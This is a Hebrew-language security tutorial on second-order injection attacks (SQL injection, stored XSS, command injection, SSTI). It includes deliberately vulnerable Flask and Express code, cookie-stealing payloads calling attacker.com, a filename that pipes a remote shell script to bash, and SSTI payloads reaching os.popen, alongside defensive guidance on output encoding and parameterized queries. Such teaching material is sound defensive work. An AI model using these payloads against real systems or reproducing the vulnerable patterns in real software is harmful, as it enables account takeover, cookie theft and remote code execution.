חולשות מסדר שני - Second-Order Attacks¶
מבוא¶
חולשות מסדר שני הן חולשות שבהן ה-payload מוזרק בשלב אחד אבל מופעל בשלב אחר, לעיתים בהקשר שונה לחלוטין. זה הופך אותן לקשות מאוד לזיהוי - כי נקודת הinjection ונקודת ההפעלה מופרדות.
בחולשה רגילה (מסדר ראשון), ה-payload מוזרק ומופעל באותה בקשה. בחולשה מסדר שני:
1. ה-payload נשמר במערכת (מסד נתונים, קובץ, לוג)
2. בשלב מאוחר יותר, המערכת קוראת את הנתון השמור ומשתמשת בו בצורה לא בטוחה
הinjection SQL מסדר שני - Second-Order SQLi¶
התרחיש¶
נניח שיש לנו מערכת רישום משתמשים:
# Step 1 - registration (the input is stored safely)
@app.route('/register', methods=['POST'])
def register():
username = request.form['username']
password = request.form['password']
email = request.form['email']
# Using a parameterized query - safe!
cursor.execute(
"INSERT INTO users (username, password, email) VALUES (%s, %s, %s)",
(username, hash_password(password), email)
)
db.commit()
return "User registered successfully"
# Step 2 - password change (the old input is read and used unsafely)
@app.route('/change-password', methods=['POST'])
def change_password():
new_password = request.form['new_password']
username = session['username'] # read from the database - "safe"?
# Vulnerable! The username from the database is inserted directly into the query
query = f"UPDATE users SET password='{hash_password(new_password)}' WHERE username='{username}'"
cursor.execute(query)
db.commit()
return "Password changed"
התקיפה¶
Step 1 - register with a malicious username:
Username: admin'--
Password: anything
Step 2 - the registration succeeds because the input goes through a parameterized query
INSERT INTO users (username, password, email) VALUES ('admin''-- ', 'hash', 'evil@mail.com')
Step 3 - the attacker logs in with admin'-- and changes the password
The query that's created:
UPDATE users SET password='new_hash' WHERE username='admin'-- '
What actually happens:
UPDATE users SET password='new_hash' WHERE username='admin'
(the comment deletes the rest of the query)
Step 4 - admin's password has changed! The attacker can log in as admin
דוגמה מלאה יותר¶
from flask import Flask, request, session
import sqlite3
app = Flask(__name__)
app.secret_key = 'secret'
def get_db():
db = sqlite3.connect('app.db')
return db
# Registration - safe (parameterized)
@app.route('/register', methods=['POST'])
def register():
db = get_db()
username = request.form['username']
password = request.form['password']
# Parameterized - the input is stored as-is, including special characters
db.execute("INSERT INTO users (username, password) VALUES (?, ?)",
(username, password))
db.commit()
return "Registered!"
# View profile - safe
@app.route('/profile')
def profile():
db = get_db()
username = session['username']
# Parameterized - safe
user = db.execute("SELECT * FROM users WHERE username = ?", (username,)).fetchone()
return f"Welcome {user[0]}"
# Change password - vulnerable!
@app.route('/change-password', methods=['POST'])
def change_password():
db = get_db()
new_password = request.form['new_password']
username = session['username'] # read from the session, which was read from the database
# Vulnerable! string formatting with a value from the database
query = f"UPDATE users SET password = '{new_password}' WHERE username = '{username}'"
db.execute(query)
db.commit()
return "Password changed!"
# User list for the admin - vulnerable!
@app.route('/admin/users')
def list_users():
db = get_db()
users = db.execute("SELECT username, email FROM users").fetchall()
html = "<h1>Users</h1><table>"
for user in users:
# Vulnerable! The username is displayed without escaping
html += f"<tr><td>{user[0]}</td><td>{user[1]}</td></tr>"
html += "</table>"
return html
XSS מסדר שני - Second-Order XSS¶
התרחיש¶
ה-payload של XSS נשמר בפרופיל המשתמש ומופעל כשמשתמש אחר (או מנהל) צופה בו.
קוד פגיע¶
// Node.js/Express server
// Update profile - the input is stored
app.post('/profile/update', async (req, res) => {
const { displayName, bio } = req.body;
// The input is stored as-is - no filtering
await User.updateOne(
{ _id: req.user.id },
{ displayName, bio }
);
res.json({ success: true });
});
// View profile - the input is displayed
app.get('/user/:id', async (req, res) => {
const user = await User.findById(req.params.id);
// Vulnerable! Data from the database is inserted directly into HTML
res.send(`
<h1>${user.displayName}</h1>
<p>${user.bio}</p>
`);
});
// Admin panel - all users
app.get('/admin/users', async (req, res) => {
const users = await User.find();
let html = '<h1>All Users</h1><table>';
for (const user of users) {
// Vulnerable! Usernames are displayed without escaping
html += `<tr><td>${user.displayName}</td><td>${user.email}</td></tr>`;
}
html += '</table>';
res.send(html);
});
התקיפה¶
Step 1 - update profile with a payload:
displayName: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
bio: Normal bio text
Step 2 - the payload is stored in the database
Step 3 - when an admin views the admin panel, the JavaScript executes in their browser
-> The admin's cookie is sent to the attacker
XSS מסדר שני דרך שם קובץ¶
# Step 1 - upload a file with a malicious name
# Filename: "><img src=x onerror=alert(1)>.png
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['file']
# The filename is stored as-is
filename = file.filename
file.save(os.path.join('uploads', filename))
db.execute("INSERT INTO files (name, user_id) VALUES (?, ?)",
(filename, session['user_id']))
return "File uploaded"
# Step 2 - display the file list
@app.route('/files')
def list_files():
files = db.execute("SELECT name FROM files WHERE user_id = ?",
(session['user_id'],)).fetchall()
html = "<h1>Your Files</h1><ul>"
for f in files:
html += f"<li>{f[0]}</li>" # Vulnerable! The filename is displayed without escaping
html += "</ul>"
return html
דוגמאות נוספות של חולשות מסדר שני¶
הinjection פקודות מערכת הפעלה - Second-Order Command Injection¶
# Step 1 - save the filename
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['file']
filename = file.filename # stored as-is
file.save(f'uploads/{filename}')
db.execute("INSERT INTO files (name) VALUES (?)", (filename,))
return "Uploaded"
# Step 2 - process the file (cronjob or a later action)
def process_files():
files = db.execute("SELECT name FROM files WHERE processed = 0").fetchall()
for f in files:
# Vulnerable! The filename is inserted directly into a system command
os.system(f"convert uploads/{f[0]} processed/{f[0]}")
db.execute("UPDATE files SET processed = 1 WHERE name = ?", (f[0],))
# Malicious filename:
# ;curl attacker.com/shell.sh|bash;.png
# or:
# $(whoami).png
SSTI מסדר שני¶
# Step 1 - save a custom email template
@app.route('/settings/email-template', methods=['POST'])
def save_template():
template = request.form['template']
# stored as-is
db.execute("UPDATE settings SET email_template = ? WHERE user_id = ?",
(template, session['user_id']))
return "Template saved"
# Step 2 - send an email (render the template)
def send_notification(user_id, data):
template = db.execute(
"SELECT email_template FROM settings WHERE user_id = ?", (user_id,)
).fetchone()[0]
# Vulnerable! The template from the database is processed as Jinja2
rendered = render_template_string(template, **data)
send_email(rendered)
# payload in the template:
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
זיהוי חולשות מסדר שני¶
אסטרטגיה¶
- מיפוי נקודות קלט ופלט - זהו כל מקום שנתון נשמר, וכל מקום שנתון שמור מוצג או משמש
- עקבו אחרי הנתונים - עקבו אחרי הנתיב של כל קלט: איפה הוא נשמר, ואיפה הוא נקרא בחזרה
- בדקו הקשרים שונים - payload שנשמר בהקשר אחד עשוי להיות מסוכן בהקשר אחר
- בדקו פעולות מנהל - מנהלים צופים בנתונים שמשתמשים רגילים שומרים
טכניקות בדיקה¶
Username: admin'--
Username: <script>alert(1)</script>
Username: {{7*7}}
Username: ${7*7}
Username: ;id;
Filename: test;id;.txt
Filename: test$(whoami).txt
Filename: "><img src=x onerror=alert(1)>.txt
Bio: <img src=x onerror=alert(document.cookie)>
Bio: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
כלים לזיהוי¶
Burp Suite - using a passive scanner that tracks stored data
OWASP ZAP - active scanning with a second-order profile
Manual - Collaborator payloads at every input point and checking over time
אסטרטגיות exploit מתקדמות¶
הexploit מעוכב בזמן¶
# A payload that only triggers on a scheduled action
# For example - a daily report sent to admins
# Step 1 - save a payload in the profile
display_name = "<script>new Image().src='https://attacker.com/log?c='+document.cookie</script>"
# Step 2 - wait for the daily report to be generated and sent to the admin
# The report contains the names of all registered users
# The XSS fires when the admin opens the report
הchaining עם חולשות אחרות¶
1. Second-order SQLi -> credentials exposure -> access to the admin panel
2. Second-order XSS -> stealing an admin cookie -> access to the admin panel
3. Second-order SSTI -> RCE -> full control of the server
4. Second-order Command Injection -> reverse shell
הגנה מפני חולשות מסדר שני¶
עקרון 1 - סינון בפלט, לא רק בקלט¶
# Not enough - filtering only on input
def save_user(username):
safe_name = sanitize(username)
db.execute("INSERT INTO users VALUES (?)", (safe_name,))
# Required - filter on output too, based on context
def display_user(user_id):
user = db.execute("SELECT username FROM users WHERE id = ?", (user_id,)).fetchone()
# HTML context - escape HTML entities
safe_name = html.escape(user[0])
return f"<h1>{safe_name}</h1>"
עקרון 2 - encoding מותאם הקשר¶
import html
import shlex
import re
def display_in_html(value):
"""For display inside HTML"""
return html.escape(value)
def use_in_sql(value):
"""For use in a SQL query - always parameterized"""
# Never use string formatting
cursor.execute("SELECT * FROM users WHERE name = %s", (value,))
def use_in_command(value):
"""For use in a system command"""
safe_value = shlex.quote(value)
os.system(f"echo {safe_value}")
def use_in_template(value):
"""For use in a template - pass as a parameter"""
return render_template('page.html', name=value)
def use_in_ldap(value):
"""For use in an LDAP filter"""
special_chars = {'\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\0': '\\00'}
for char, escape in special_chars.items():
value = value.replace(char, escape)
return value
עקרון 3 - שימוש עקבי ב-Parameterized Queries¶
# Every query must be parameterized, even if the value seems "safe"
# because the "safe" value from the database may contain a second-order payload
# Vulnerable
def change_password(username, new_password):
query = f"UPDATE users SET password='{new_password}' WHERE username='{username}'"
cursor.execute(query)
# Safe
def change_password(username, new_password):
cursor.execute(
"UPDATE users SET password = %s WHERE username = %s",
(new_password, username)
)
עקרון 4 - אל תסמכו על נתונים מהמסד¶
# Wrong assumption: "the value was already validated when it was stored"
# Correct assumption: "any value, from any source, could be dangerous"
def process_data(user_id):
user = db.execute("SELECT * FROM users WHERE id = ?", (user_id,)).fetchone()
username = user['username']
# Even though it comes from the database - treat it as untrusted input
# and perform encoding/escaping based on the usage context
סיכום¶
חולשות מסדר שני הן מהקשות ביותר לזיהוי ולתיקון. הנקודות העיקריות:
- ה-payload נשמר בשלב אחד ומופעל בשלב אחר - לעיתים שעות או ימים אחרי
- רוב הסורקים האוטומטיים לא מזהים אותן כי הם לא עוקבים אחרי נתונים שמורים
- ההגנה דורשת סינון בפלט ולא רק בקלט - כל פעם שנתון מוצג או משמש, יש לבצע encoding מתאים להקשר
- לעולם לא לסמוך על נתונים מהמסד - הם עשויים להכיל payloads שהוזרקו מוקדם יותר
- שימוש עקבי ב-parameterized queries בכל query, גם כשהנתון נראה "בטוח"